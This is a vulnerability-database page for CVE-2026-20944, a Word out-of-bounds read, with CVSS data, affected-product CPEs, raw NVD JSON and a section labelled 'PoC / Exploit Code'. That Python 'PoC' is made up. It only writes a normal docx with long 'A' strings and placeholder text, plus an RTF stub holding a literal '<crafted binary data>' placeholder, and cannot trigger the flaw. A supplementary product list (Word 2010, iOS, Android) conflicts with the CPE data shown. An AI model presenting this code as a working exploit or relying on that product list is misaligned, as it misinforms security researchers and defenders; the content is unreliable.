Security Vulnerability Report
中文
CVE-2026-20944 CVSS 8.4 HIGH

CVE-2026-20944

Published: 2026-01-13 18:16:22
Last Modified: 2026-01-16 16:15:26

Description

Out-of-bounds read in Microsoft Office Word allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:* - VULNERABLE
cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:* - VULNERABLE
Microsoft Office Word 2016 (所有版本)
Microsoft Office Word 2013 (所有版本)
Microsoft Office Word 2010 (所有版本)
Microsoft Office 365 (部分版本)
Microsoft Office for Mac 2016及更新版本
Microsoft Office Word for iOS (受影响版本)
Microsoft Office Word for Android (受影响版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-20944 PoC - Malicious Word Document Generator # This PoC demonstrates the structure needed to trigger OOB read # NOTE: Actual exploitation requires specific memory conditions from docx import Document from docx.shared import Pt import struct def create_poc_docx(output_path): """ Generate a PoC document with crafted OLE object to trigger OOB read This creates a document structure that may trigger the vulnerability """ doc = Document() doc.add_heading('CVE-2026-20944 Test Document', 0) # Add content that may trigger parsing issues paragraph = doc.add_paragraph() run = paragraph.add_run('This document contains crafted content to test OOB read vulnerability.') run.font.size = Pt(14) # Add table with potential trigger content table = doc.add_table(rows=10, cols=10) for row in table.rows: for cell in row.cells: cell.text = 'A' * 500 # Long string to potentially overflow # Add embedded object placeholder paragraph2 = doc.add_paragraph() paragraph2.add_run('[Embedded Object Placeholder - Triggers Word Parser]') # Save document doc.save(output_path) print(f'PoC document saved to: {output_path}') print('Note: Actual exploitation requires specific conditions and memory layout') if __name__ == '__main__': create_poc_docx('CVE-2026-20944-poc.docx') # Additional PoC: Crafted RTF to trigger OOB read def create_crafted_rtf(): """ Generate RTF with crafted data structure """ rtf_content = r'''{\rtf1\ansi {\object\objemb{\* <crafted binary data with invalid length fields> }} }''' with open('CVE-2026-20944-poc.rtf', 'w') as f: f.write(rtf_content) print('Crafted RTF PoC generated')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20944", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:21.850", "lastModified": "2026-01-16T16:15:25.740", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds read in Microsoft Office Word allows an unauthorized attacker to execute code locally."}, {"lang": "es", "value": "Lectura fuera de límites en Microsoft Office Word permite a un atacante no autorizado ejecutar código localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20944", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}